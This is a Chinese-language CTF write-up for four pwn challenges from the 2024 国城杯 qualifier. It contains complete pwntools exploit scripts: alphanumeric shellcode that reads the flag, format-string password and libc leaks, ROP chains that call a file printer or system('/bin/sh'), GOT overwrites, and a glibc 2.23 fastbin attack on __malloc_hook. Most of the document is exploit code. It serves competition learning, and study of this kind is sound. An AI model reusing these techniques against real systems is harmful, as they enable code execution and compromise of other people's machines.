2024国城杯初赛,pwn题挺水的,被打烂了

Alpha_Shell

这题应该是除了签到外全场第一个一血,我抢了个三血。纯血可见字符shellcode题。main函数了塞了一些花指令(jn+jnz),没法直接反编译,部分IDA版本不受影响,我当时用8.3是需要nop掉之后,再create function才能正常反编译。

开了沙箱:沙箱

考虑openat+sendfile

可以注意到程序在执行shellcode的时候是基于rdx,所以使用ae64生成的时候要改参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from ae64 import AE64

r = process("./attachment")
context(os='linux', log_level='debug')
sc = '''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
'''
payload = asm(sc, arch='amd64')
shellcode = AE64().encode(payload, 'rdx')
print(shellcode)

r.recv()
r.send(shellcode)
r.interactive()

Offensive_Security

前段分析

首先题目主程序中的函数全部来自动态链接库,附件给出了额外自定义的.so,我们真正需要分析的是这个动态库。login函数贴脸fmt漏洞,可以泄露出登录密码。这里有两种做法,一个是用%s泄露密码,一个是用%ln覆写密码。

接下来程序开了个多线程,一个可以修改认证密码,一个需要你写正确的认证密码。没有线程互斥锁,二分之一几率修改认证密码的线程会先出现,然后再输入和刚才一样的认证密码就行。

后段分析

第一种解法

接下来就进入到了最难蚌的地方。我们现在有一个很大的栈溢出,但是没有libc地址。这里先讲第一种做法,注意到主程序没开PIE,其中调用了printer函数,这个函数可以打开文件并输出文件内容,不难想到只要给rdi传入”flag”字符串地址就能打印flag了。但问题在于没法调用read。注意到主程序给了一些gadget,考虑出题人想要我们利用这些gadget来构造flag字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:000000000040064E fungadgets:
.text:000000000040064E xlat
.text:000000000040064F retn
.text:0000000000400650 ; ---------------------------------------------------------------------------
.text:0000000000400650 pop rdx
.text:0000000000400651 pop rcx
.text:0000000000400652 add rcx, 0D093h
.text:0000000000400659 bextr rbx, rcx, rdx
.text:000000000040065E retn
.text:000000000040065F ; ---------------------------------------------------------------------------
.text:000000000040065F stosb
.text:0000000000400660 retn
.text:0000000000400661 ; ---------------------------------------------------------------------------
.text:0000000000400661 pop rdi
.text:0000000000400662 retn
.text:0000000000400662 _text ends

这里有些很冷门的汇编指令:

  • xlat(Translate Byte to AL):在x86_64下的作用是查找[bx+al]的内容,并将其储存在al中
  • bextr(Bit Field Extract):bextr rbx, rcx, rdx的作用是将rcx+dh开始的dl长度的数据,放到rbx中。注意不是取[rcx+dh],而是rcx寄存器本身的内容。
  • stosb(Store String Byte):将al寄存器中的数据储存到[rdi]当中,并rdi++或–(取决与DF标志寄存器)

程序中不存在完整的“flag”字符串,那么我们需要逐个字节去寻找字符,并将字符连续放到bss段当中。分为以下几步:

  1. 查找某个字符在主程序的地址,将这个地址减去0xD093后传入rcx
  2. 将rdx设置为0x4000,意味着取这个rcx的内容
  3. 执行bextr,此时rbx等于rcx
  4. 执行xlat,此时rax的值是第一步查找到的字符
  5. 将rdi赋值为bss段地址
  6. 执行stosb,此时rax中的字符就会被传入到bss地址中

这里需要注意几个问题,我们需要连续查找六个字符(./flag),但是途中rax寄存器会因为上一个字符而残留一些数据,会影响到下一个字符的xlat指令执行。因为在第二个字符开始,我们传入rbx的地址要考虑到上一个字符的影响。

动调分析

下面通过动调举例看看执行情况。payload如下:

1
2
payload = b'a'*0x28+p64(rdi)+p64(bss)+p64(bextr) + \
p64(0x4000)+p64(0x3F2F83)+p64(xlat)+p64(stosb)#0x3F2F83=0x400016-0xd093

这个程序动调需要注意多线程问题,pwndbg启动之后虽然程序停在等待输入,但是当前他可能在另一个线程,不在read的线程。这时候需要通过thread 2切换到2线程,这样断点之类的才不会飞。进入到rop链,此时rcx被赋值为0x400016

rcx被赋值

bextr执行过后,rbx被赋值。现在我们要查找的字符就是.所以能看到该地址指向的第一个字符就是.

rbx被赋值

xlat执行过后:

xlat执行过后

可以看到原本rax是0的,现在是0x2e。执行完stosb,这个0x2e就会进到0x600300中。后面的字符以此类推。需要注意的就是,这个rax不会自己置零,所以下一个字符的地址不仅要减0xd093,还要减去0x2e,以此类推。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from struct import pack
from pwn import *
r = process("./attachment")
# r = remote("125.70.243.22", 31307)
e = ELF("./attachment")
context(arch='amd64', log_level='debug')

r.recv()
# gdb.attach(r)
# pause()
r.send(b'%7$sflag'+p64(0x6002B0))
r.recvuntil(b'Welcome, \n')
password = r.recv(8)
print(password)
r.recv()
r.send(password)

sleep(1)
r.recv()
r.sendline(b'12345')
# sleep(1)
# gdb.attach(r, "b shell")
# pause()
r.sendline(b'12345')
r.recvuntil(b'>')

bss = 0x600300
xlat = 0x40064E
stosb = 0x40065F
rdi = 0x400661
bextr = 0x400650
printer = 0x400647

payload = b'a'*0x28+p64(rdi)+p64(bss)+p64(bextr) + \
p64(0x4000)+p64(0x3F2F83)+p64(xlat)+p64(stosb)
payload += p64(bextr)+p64(0x4000)+p64(0x400006 -
0xD093-0x2e)+p64(xlat)+p64(stosb)
payload += p64(bextr)+p64(0x04000)+p64(0x40023f -
0xD093-0x2f)+p64(xlat)+p64(stosb)
payload += p64(bextr)+p64(0x04000)+p64(0x400001 -
0xD093-0x66)+p64(xlat)+p64(stosb)
payload += p64(bextr)+p64(0x04000)+p64(0x4001f8 -
0xD093-0x6c)+p64(xlat)+p64(stosb)
payload += p64(bextr)+p64(0x04000)+p64(0x4001ea -
0xD093-0x61)+p64(xlat)+p64(stosb)
payload += p64(rdi)+p64(bss)+p64(printer)


r.send(payload)
r.interactive()

这个exp里的地址都是手搜出来的。也可以用官方wp的写法,利用next(elf.search(bytes([char])))的方法自动搜索字符地址,一把梭。

第二种解法

还记得前面的16字节fmt吗?如果用泄露密码的方式来绕过login,那么我们还能多出来4个字节的位置,可以拿来泄露libc地址。这样的话栈溢出就直接getshell就好了,不知道是不是非预期解。当然前提是在4个字节里能够泄露得出来,这道题刚好可以,在寄存器里有一个libc地址。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from struct import pack
from pwn import *
r = process("./attachment")
# r = remote("125.70.243.22", 31307)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./attachment")
context(arch='amd64', log_level='debug')

r.recv()
# gdb.attach(r)
# pause()
r.send(b'%3$p%7$s'+p64(0x6002B0))
r.recvuntil(b'Welcome, \n')
libc_base = int(r.recv(14), 16)-0x114887
print(hex(libc_base))
password = r.recv(8)
print(password)
r.recv()
r.send(password)

sleep(1)
r.recv()
r.sendline(b'12345')
# sleep(1)
r.sendline(b'12345')
r.recvuntil(b'>')

rdi = 0x400661
ret = 0x400462
system = libc_base+libc.sym["system"]
binsh = libc_base+next(libc.search(b"/bin/sh"))

payload = b'a'*0x28+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
r.send(payload)
r.interactive()

beverage store

分析

checkvip函数随机数绕过老生常谈,给了libc2.35,直接ctypes刷脸就行。不过这道题甚至不需要刷脸,可以注意到buf可以输入16个字节,随后被复制到了name变量,在bss段,会把seed也一起覆盖了,因此可以直接固定种子,不需要调用time函数。

buy函数没有限制v0不能小于0,因此利用read,可以修改got表(没开relro和PIE保护)。注意到vuln函数有个printf("/bin/sh"),考虑将printf的got表劫持为system。

在这之前我们需要先泄露libc地址,同样是利用got表,但是只有一次机会,所以要先想办法循环一下。考虑劫持exit为buy函数。

因此总体思路如下:

  1. 劫持exit@got为buy函数
  2. 选择一个没被劫持但已解析的got地址泄露libc
  3. 劫持printf@got为system函数
  4. 劫持exit@got为vuln函数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from ctypes import *
context(log_level="debug",arch="amd64")
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(1)
#p=process("./pwn")
p=remote("125.70.243.22",31382)

payload=p64(1)*2
p.sendline(payload)
p.sendlineafter("Input yours id authentication code:",str(libc.rand()))

p.sendline(str(-4))
p.recvuntil("which one to choose")
payload=p64(0x40133f)+p64(0xdeadbeef)
p.send(payload)

p.sendline(str(-5))
p.recvuntil("which one to choose")
payload=b'\xf0'
p.send(payload)

p.recvuntil("succeed\n")
libcaddr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
libcbase=libcaddr-0x0815f0
print("libcaddr",hex(libcbase))
system=libcbase+0x050d70

p.sendline(str(-7))
p.recvuntil("which one to choose")
payload=p64(system)
p.send(payload)
#gdb.attach(p,"b *0x401484")
p.sendline(str(-4))
p.recvuntil("which one to choose")
payload=p64(0x401515)+p64(0xdeadbeef)
p.send(payload)



p.interactive()

vtable_hijack

2.23版本堆题,有UAF和edit函数堆溢出,几乎就是随便打。看到vtable还以为是什么新型IO题,结果看到这道题解出人数哐哐上升。

这里直接套UAF板子来打了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# r = process('./pwn')
r = remote('125.70.243.22', 31046)
e = ELF('./pwn')
libc = ELF('./libc.so.6')

one = [0x3f3e6, 0x3f43a, 0xd5c07]

def cmd(choice):
r.recvuntil(b'choice:')
r.sendline(str(choice).encode())

def add(idx, size):
cmd(1)
r.recvuntil(b'index:')
r.sendline(str(idx).encode())
r.recvuntil(b'size:')
r.sendline(str(size).encode())

def delete(idx):
cmd(2)
r.recvuntil(b'index:')
r.sendline(str(idx).encode())

def show(idx):
cmd(4)
r.recvuntil(b'index:')
r.sendline(str(idx).encode())

def edit(idx, size, content=b'deafbeef'):
cmd(3)
r.recvuntil(b'index:')
r.sendline(str(idx).encode())
r.recvuntil(b'length:')
r.sendline(str(size).encode())
r.recvuntil(b'content:')
r.send(content)

def exit():
cmd(5)

add(0, 0x90)
add(1, 0x18)
delete(0)
show(0)
r.recvuntil(b'\n')
libc_base = u64(r.recvuntil(b'\x0a', drop=True)
[-7:].ljust(8, b'\x00'))-0x39bb78
log.info('libc_base:'+hex(libc_base))

add(2, 0x90)
add(3, 0x60)
add(4, 0x60)
add(5, 0x20)

delete(3)
delete(4)
# edit(4, p64(libc_base+0x3c3b10-0x23))
edit(4, 8, p64(libc_base+libc.symbols['__malloc_hook']-0x23))

# gdb.attach(r)
# pause()
add(6, 0x60)
add(7, 0x60)
edit(7, 27, b'a'*0x13+p64(libc_base+one[2]))

add(8, 0x20)

r.interactive()
⬆︎TOP